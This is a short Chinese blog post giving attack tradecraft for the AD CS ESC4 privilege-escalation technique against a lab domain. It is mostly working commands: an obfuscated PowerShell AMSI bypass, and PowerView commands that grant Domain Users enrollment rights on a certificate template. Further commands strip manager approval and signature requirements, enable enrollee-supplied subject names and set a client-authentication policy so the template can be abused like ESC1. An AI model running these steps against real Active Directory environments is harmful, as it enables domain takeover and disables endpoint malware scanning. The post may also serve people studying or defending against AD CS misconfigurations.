Loading

AD CS Tradecraft ---域提权 ESC4

一、错误配置ACL的证书模板

1、环境配置

基于"基本EFS"配置ESC4的危害模板,修改模板名称为ESC4,其他配置如下:

开启CA证书管理程序批准
开启授权签名
配置Domain Users有可写权限(危害点)
其他保持默认


2、利用

Certify.exe find /vulnerable


我们主要利用的是domain users具有WriteDacl的权限,来修改模板的配置,让这个模板满足ESC1的要求。
1、增加模板注册权限
使用Powerview来操作
bypass AMSI

$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
$f.SetValue($null,$true)
Import-Module C:\Users\ca\Desktop\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=test,DC=com" -Verbose

2、禁用CA证书管理程序批准

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

3、禁用授权签名

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

4、启用在请求中提供使用者名称

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

5、更改应用策略扩展

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

接下来就和ECS1一样

posted @ 2021-10-31 16:18  Ctrl_C+Ctrl_V  阅读(334)  评论(0编辑  收藏  举报